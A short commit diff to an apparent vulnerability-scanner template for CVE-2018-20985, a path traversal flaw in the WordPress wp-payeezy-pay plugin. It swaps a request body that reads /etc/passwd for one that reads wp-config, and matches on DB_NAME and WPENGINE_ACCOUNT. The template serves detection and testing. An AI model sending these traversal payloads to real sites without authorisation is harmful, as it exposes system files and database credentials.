Update CVE-2018-20985.yaml

2021-07-22 19:32:43 +07:00 · 2021-07-22 19:32:43 +07:00 · a0581944aa
parent 7afafb1f4f
commit a0581944aa
1 changed files with 6 additions and 6 deletions
--- a/cves/2018/CVE-2018-20985.yaml
+++ b/cves/2018/CVE-2018-20985.yaml
@ -15,15 +15,15 @@ requests:
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"

-    body: "x_login=../../../etc/passwd"
+    body: "x_login=../../../../wp-config"

    matchers-condition: and
    matchers:
-
-      - type: regex
-        regex:
-          - "root:[x*]:0:0"
-
+      - type: word
+        words:
+          - DB_NAME
+          - WPENGINE_ACCOUNT
+        part: body
      - type: status
        status:
          - 200